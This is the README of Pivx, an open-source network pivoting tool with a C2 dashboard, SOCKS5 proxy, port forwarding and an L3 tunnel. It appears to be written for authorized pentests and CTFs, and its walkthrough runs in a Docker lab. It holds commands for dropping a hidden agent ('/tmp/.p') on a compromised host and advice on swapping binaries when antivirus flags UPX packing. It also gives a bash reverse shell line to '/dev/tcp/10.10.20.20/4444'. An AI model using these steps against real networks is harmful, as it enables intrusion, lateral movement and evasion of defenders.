English | Español | Português | 中文
Network pivoting and routing tool for authorized penetration testing. Pivx uses a Hybrid Framing architecture that multiplexes L3 tunneling, L4 port forwarding, and L7 SOCKS5 over a single WebSocket connection with ultra-low latency — no extra framing headers, no secondary connections.
Current status (Phase 3): full pivoting suite for CTF and pentesting.
- L3 Tunnel — TUN interface
pivx0with userland TCP/IP stack (gVisor netstack) on the agent. Full IP routing through the tunnel. - L4 Port Forwarding — Local (
-L) and remote (-R) forwards multiplexed over the same WebSocket. Ideal for reverse shells. - L7 SOCKS5 Proxy — Dynamic proxy with DNS resolution on the agent side. Works with proxychains, ffuf, Burp Suite, and any SOCKS-aware tool.
- High Fidelity Scanning — ICMP Smartping, Magic IP, SYN-Cookie nullification, and smart RST for accurate nmap results through the tunnel.
- Hybrid Framing — Control (JSON text frames) + data (binary frames) on one WebSocket. L3 packets (IP nibble
0x4/0x6) and MUX streams (0x01) coexist in binary frames with zero-overhead discrimination. - Kill Switch — Remote agent termination from the C2 dashboard with one click.
- Hardened Data Plane — MTU 1350 (WebSocket/TLS headroom), backpressure with drop, anti-uplink route protection.
- Web Dashboard — Streamlit-based C2 with real-time agent status, tunnel control, route management, and port forwarding UI.
Pivx implements network fidelity improvements that make scans through the tunnel indistinguishable from native connections. All features verified in automated Docker lab tests.
Unlike typical pivoting tools, Pivx supports real ping through the L3 tunnel. The agent intercepts ICMP Echo Requests, runs an OS-level ping to verify the host is alive, and constructs a proper Echo Reply with correct RFC 1071 checksums.
# From your C2, with tunnel and route active:
ping -c 2 10.10.20.100
PING 10.10.20.100 (10.10.20.100) 56(84) bytes of data.
64 bytes from 10.10.20.100: icmp_seq=1 ttl=64 time=5.03 ms
64 bytes from 10.10.20.100: icmp_seq=2 ttl=64 time=2.88 ms
--- 10.10.20.100 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001msThis enables nmap host discovery without -Pn — hosts that respond to ping show as up and nmap scans only those.
The reserved Class-E range 240.0.0.0/4 is rewritten to 127.0.0.1 on the agent, both through the L3 tunnel and via SOCKS5/MUX. Access services that only listen on the victim's localhost (databases, admin panels, internal APIs) without IP conflicts:
# Via SOCKS5 — access hidden HTTP server on agent's localhost:8080:
curl --socks5-hostname 127.0.0.1:1080 http://240.0.0.1:8080/
# Returns: directory listing of agent's filesystem
<!DOCTYPE HTML>
<html lang="en">
<head><title>Directory listing for /</title></head>
...Any IP in 240.x.x.x works: 240.0.0.1, 240.1.2.3, etc. All redirect to the agent's 127.0.0.1.
Pivx disables gVisor's SYN-Cookies, preventing the netstack from responding SYN-ACK to every SYN without creating state. Without this fix, nmap -sS would show all ports as open. With it, only truly open ports respond.
When the agent dials a closed port and receives ECONNREFUSED, it returns RST to the scanner. If the target doesn't respond (timeout), it stays silent. This lets nmap correctly distinguish between closed (RST) and filtered (no response) ports.
From the C2 dashboard, one click sends {"type":"kill"} to the agent, which executes os.Exit(0) immediately. The WebSocket closes and the dashboard reflects the change instantly.
| Test | Result | Detail |
|---|---|---|
| Smartping L3 (ping through tunnel) | PASS | 2/2 replies, ~4ms RTT |
| Magic IP L7 (240.0.0.1:8080 via SOCKS5) | PASS | HTTP 200, directory listing |
| Kill Switch (remote os.Exit) | PASS | Disconnection in <1s |
- Server: Linux or WSL2 (TUN uses
/dev/net/tun). Requires root (orCAP_NET_ADMIN) to create the interface and add routes. - Agent: No Go installation needed — download the prebuilt binary from Releases. Only Go 1.22+ if building from source.
One command to start the C2, wait for an agent, auto-configure SOCKS5 + tunnel + routes, scan the internal network, and drop into a proxied shell:
sudo server/venv/bin/python pivx-autopilot.pyThe script will:
- Start the WebSocket listener on
ws://0.0.0.0:8765 - Wait for an agent to connect (deploy one on the compromised host)
- Auto-start SOCKS5 (
127.0.0.1:1080), tunnel (pivx0), and routes - Run an ICMP ping sweep on each discovered subnet and display live hosts in the terminal:
>>> [ALIVE] 20.20.20.2 (Pivot) >>> [ALIVE] 20.20.20.5 >>> [ALIVE] 20.20.20.10 - Open an interactive shell with the attack context in the prompt and pre-configured aliases:
┌──(pivx)─[20.20.20.2]
└─$ pc curl http://20.20.20.5/ # proxychains shortcut
└─$ pscan -p 22,80 20.20.20.0/24 # proxychains + nmap
└─$ pscurl http://20.20.20.5/ # curl via SOCKS5
Tip: While the Auto-Pilot CLI is running, you can still open the web dashboard at
http://localhost:8501for real-time monitoring. The dashboard opens the database in Read-Only mode automatically, so there are no lock conflicts.
Note for Kali Linux and modern distros: Python 3.11+ marks system packages as
externally-managed-environmentand blocks globalpip install. Pivx uses a virtual environment (venv) to avoid this. Theinstall.shscript creates it automatically.
Quick install (< 2 minutes):
git clone https://github.com/HangLoose84/Pivx.git
cd Pivx
chmod +x install.sh
./install.shStart the C2:
sudo server/venv/bin/streamlit run server/app.pysudo is required because the server creates the TUN interface and manipulates the kernel routing table. Invoking the venv's streamlit directly avoids the need for sudo -E or manual venv activation.
WebSocket listener: ws://0.0.0.0:8765 — Dashboard UI: http://localhost:8501
No Go installation or compilation needed if you just want to use Pivx. Download the prebuilt binary from the Releases tab and upload it to the target machine:
# From the target machine: wget https://github.com/HangLoose84/Pivx/releases/latest/download/pivx-agent-linux-amd64 -O /tmp/.p chmod +x /tmp/.p /tmp/.p --server ws://YOUR_C2:8765Available binaries:
pivx-agent-linux-amd64,pivx-agent-linux-arm64,pivx-agent-windows-amd64.exe.
Requires Go 1.22+. First time — fetch gVisor (special go branch) and resolve dependencies:
cd agent
go get gvisor.dev/gvisor@go
go mod tidyRun directly:
go run . --server ws://127.0.0.1:8765The root Makefile cross-compiles static, stripped binaries (-ldflags="-s -w" + -trimpath, no symbols or DWARF) to minimize size — critical for uploading agents over unstable connections in CTFs.
make deps # Once: fetch gVisor (branch `go`) and tidy modules
make # Build all 3 platforms to ./distIndividual targets:
make linux-amd64 # -> dist/pivx-agent-linux-amd64
make linux-arm64 # -> dist/pivx-agent-linux-arm64
make windows-amd64 # -> dist/pivx-agent-windows-amd64.exe
make clean # Remove ./distFor CTF scenarios where upload speed matters, UPX-compressed variants reduce the binary size to ~40% of the original (~3-4 MB vs ~8 MB). The binary decompresses transparently in memory at launch — no performance impact.
make all-upx # Build all 3 platforms + their UPX variantsIndividual UPX targets:
make linux-amd64-upx # -> dist/pivx-agent-linux-amd64-upx
make linux-arm64-upx # -> dist/pivx-agent-linux-arm64-upx
make windows-amd64-upx # -> dist/pivx-agent-windows-amd64-upx.exeTip: Use the UPX variant by default for faster uploads. Fall back to the normal binary only if an antivirus flags UPX packing. Requires
upxinstalled on the build machine (apt install upx/brew install upx).
Troubleshooting — Wine/Go compatibility: Running the Windows agent (
.exe) in Linux-based sandbox environments using Wine (version 8.0 or lower) will fail with abcryptprimitives.dllerror. This is not a UPX or agent defect — it is a known incompatibility because the Go runtime (version 1.21+) requires this Windows cryptographic DLL, which older Wine versions do not implement. The agent works perfectly on native Windows systems.
Binaries use CGO_ENABLED=0 (fully static, no libc dependency on the target). Deployment example:
scp dist/pivx-agent-linux-amd64 target:/tmp/.p
ssh target '/tmp/.p --server ws://YOUR_C2:8765'- In the dashboard, section Tunnel, select the agent and click Start tunnel (creates
pivx0). - In Routes, add the internal subnet: click a discovered subnet from the agent, or type manually (
10.10.20.0/24). - Your local tools now reach the internal network through the agent:
nmap -sS 10.10.20.0/24 # SYN scan works (Smart RST + no SYN-Cookies)
ping 10.10.20.5 # Works (Smartping)
curl http://10.10.20.5/- Agent appears online with hostname/OS/arch and its subnets.
ip addron the server showspivx0;ip routeshows subnets routed topivx0.- Traffic to the internal LAN works;
[tcp] proxy established -> ...lines appear in the agent log.
Beyond the L3 tunnel, Pivx multiplexes TCP streams over the same WebSocket. These features do not require the L3 tunnel — just a connected agent. In the dashboard, section Port forwarding (L4).
Tab Local (-L). The server opens a port on your machine; the agent dials to an IP:port on the internal network.
# Bind: 127.0.0.1:8080 → Destination (agent): 10.10.20.5:80
curl http://127.0.0.1:8080/ # reaches :80 on the internal network via the agentUseful for accessing admin panels, databases (:3306), RDP, etc.
Tab Remote (-R). The agent opens a port on the victim network; incoming connections are forwarded to your local handler.
# Bind victim: 0.0.0.0:4444 → Local destination: 127.0.0.1:5555
# On your C2:
nc -lvnp 5555
# On the victim: connect to agent_ip:4444 → arrives at your 127.0.0.1:5555Section SOCKS5 Proxy. Click Start SOCKS5 (default 127.0.0.1:1080). DNS resolution and TCP connections happen on the agent, so internal hostnames resolve on the victim network.
# proxychains (configure /etc/proxychains4.conf → socks5 127.0.0.1 1080):
proxychains -q curl http://intranet.victim.local/
proxychains -q smbclient -L //10.10.20.5/
# Direct SOCKS support:
ffuf -x socks5://127.0.0.1:1080 -u http://10.10.20.5/FUZZ -w wordlist.txt
curl --socks5-hostname 127.0.0.1:1080 http://10.10.20.5/
# Burp Suite: Settings → Network → SOCKS proxy → 127.0.0.1:1080
# (check "Do DNS lookups over SOCKS proxy")Real-world example tested with Docker: compromise a machine with no internet access through a pivot host bridging two networks.
Your machine (Kali) Public network Internal network (isolated)
┌─────────────┐ ┌─────────────┐ ┌──────────────────┐
│ Pivx C2 │◄── WS ──►│ Pivot │ │ Target │
│ 10.10.10.10│ │ 10.10.10.20 │──────────│ 10.10.20.100 │
│ │ │ 10.10.20.20 │ │ (no internet) │
└─────────────┘ └─────────────┘ └──────────────────┘
SOCKS5 :1080 Pivx Agent HTTP :80
Handler :9001 rforward :4444
The C2 cannot reach 10.10.20.0/24 directly. Pivx solves this.
scp dist/pivx-agent-linux-amd64 user@10.10.10.20:/tmp/.p
chmod +x /tmp/.p
/tmp/.p --server ws://10.10.10.10:8765The agent connects, reports its interfaces, and discovers subnet 10.10.20.0/24. The dashboard shows it as online.
Start SOCKS5 in the dashboard (127.0.0.1:1080):
# Scan the isolated target:
proxychains -q nmap -sT -Pn -p 22,80,443,445 10.10.20.100
# Browse the internal web service:
curl --socks5-hostname 127.0.0.1:1080 http://10.10.20.100/
# Directory fuzzing:
ffuf -x socks5://127.0.0.1:1080 -u http://10.10.20.100/FUZZ -w wordlist.txtTraffic flows: your tool → SOCKS5 :1080 → MUX → pivot → 10.10.20.100.
The isolated target can't connect to your C2, but it can reach the pivot. Use remote forward to relay connections back:
# 1) Dashboard: Port forwarding → Remote (-R)
# Bind victim: 0.0.0.0:4444 → Local destination: 127.0.0.1:9001
# 2) Start your handler:
nc -lvnp 9001
# 3) Execute payload on target pointing to the pivot:
bash -i >& /dev/tcp/10.10.20.20/4444 0>&1Traffic flows: target → pivot:4444 → MUX → C2:9001.
Tested with automated Docker labs (3 containers, 2 isolated networks):
| Test | Result | Latency |
|---|---|---|
| SOCKS5 inbound → target:80 | HTTP 200 complete | ~25ms |
| Remote forward ← reverse shell | Payload received at C2:9001 | ~13s (script wait) |
| Residual streams after close | 0 (no leaks) | — |
Pivx/
├── Makefile # Cross-build (linux/amd64, arm64, win/amd64)
├── pivx-autopilot.py # Auto-Pilot CLI (one-command setup)
├── assets/ # Logo and visual assets
│ └── logo.svg
├── agent/ # Go agent
│ ├── go.mod
│ ├── main.go # WS transport + control + discovery (anti-uplink)
│ ├── netstack.go # gVisor stack (userland) + TCP/UDP forwarders (L3)
│ ├── icmp.go # ICMP Smartping + UDP Port Unreachable injection
│ └── mux.go # TCP stream multiplexing (L4/L7) over same WS
├── server/
│ ├── app.py # Streamlit dashboard (tunnel + routes + forwarding + SOCKS)
│ ├── requirements.txt
│ └── pivx_server/
│ ├── db.py # DuckDB persistence (agents, routes, logs)
│ ├── tun.py # Linux TUN interface (raw-IP, MTU 1350)
│ ├── runtime.py # TUN <-> WebSocket orchestration (L3 plane)
│ ├── forward.py # MUX layer: L4 port forwarding + SOCKS5 (L4/L7)
│ └── ws_server.py # WebSocket listener (control + data + L3/MUX demux)
├── docker/ # Docker lab configs (not tracked)
├── tests/ # Integration test scripts (not tracked)
├── docs/ # Translations (ES, PT, ZH) + tutorials
└── README.md
Pivx supports ping through the tunnel (Smartping) and SYN scans (SYN-Cookie nullification + Smart RST). Supported nmap modes:
nmap -sn 10.10.20.0/24 # Host discovery with ping (Smartping)
nmap -sS 10.10.20.0/24 # SYN scan (accurate open/closed/filtered)
nmap -sT 10.10.20.0/24 # TCP connect scan (always works)Note: Smartping runs a real OS-level
pingper Echo Request, adding ~3-5ms latency. For large-scale scans,-Pnis still faster since it skips the discovery phase.
- Single tunnel / single active agent at a time (CTF-focused). Simultaneous multi-agent is deferred (Phase 5).
- No TLS/wss or agent authentication yet (Phase 4). Do not use outside a lab or controlled network.
- SOCKS5 only implements
CONNECTover TCP (no BIND or UDP ASSOCIATE), sufficient for scanning/fuzzing/web proxying. - An agent that loses connection without clean shutdown goes
offlineautomatically after ~45s without pings (server keep-alive sweep).
- gVisor has a version-sensitive API; this code tracks the
gobranch. Ifgo mod tidymisaligns symbols, adjust names innetstack.goto the resolved version. - Not tested with Windows as server (Linux/WSL2 chosen for TUN support).
⚠️ Use only on systems you own or with explicit written authorization.
This project is licensed under the GNU General Public License v3.0. See the LICENSE file for the full text.